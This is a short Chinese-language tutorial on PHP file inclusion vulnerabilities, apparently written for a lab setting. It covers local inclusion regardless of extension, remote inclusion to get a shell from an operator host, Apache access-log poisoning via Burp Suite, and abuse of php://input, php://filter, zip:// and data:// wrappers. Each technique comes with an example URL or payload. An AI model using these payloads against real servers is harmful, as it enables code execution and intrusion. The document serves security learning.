概念
把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。
原理
文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
1.本地文件包含(无视后缀)
创建文件包含:include.php
<?php
include("print.php");
?>
另创建print.php
<?php
echo "hello world!!!";
?>
在浏览器访问include.php
分别修改print.txt扩展名为:jpg、rar、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
2.远程文件包含getshell
1)目标机allow_url_include开启
2)编辑include.php,并上传至目标机网站根目录中
3)在本地网站根目录下新建phpinfo.php文件
4)远程包含shell
http://目标机ip/include.php?a=http://操作机ip/phpinfo.php
3.apache日志文件包含
1)开启日志记录
打开apache安装目录下的conf/httpd.conf配置文件找到:
CustomLog "logs/access.log" common 去掉前面的#号
2)访问
http://本机ip/<?php phpinfo();?>
查看日志access.log
发现符号被编码
利用Burpsuite抓包
将被编码的符号修改回去,并发送,再次查看日志
phpinfo已被写入
http://192.168.5.44/include.php?a=D:\phpStudy2018\PHPTutorial\Apache\logs\access.log
4.php封装伪协议
1)php流input
http://127.0.0.1/include.php?a=php://input
2)php流filter
?a=php://filter/read=convert.base64-encode/resource=print.php
3)zip://
先将要执行的php代码写好,在进行zip压缩(如果失败可将压缩后的zip改为jpg)
使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23
4)data://
命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)
http://127.0.0.1/include.php?a=data://text/plain,<?php phpinfo();?>
http://127.0.0.1/include.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=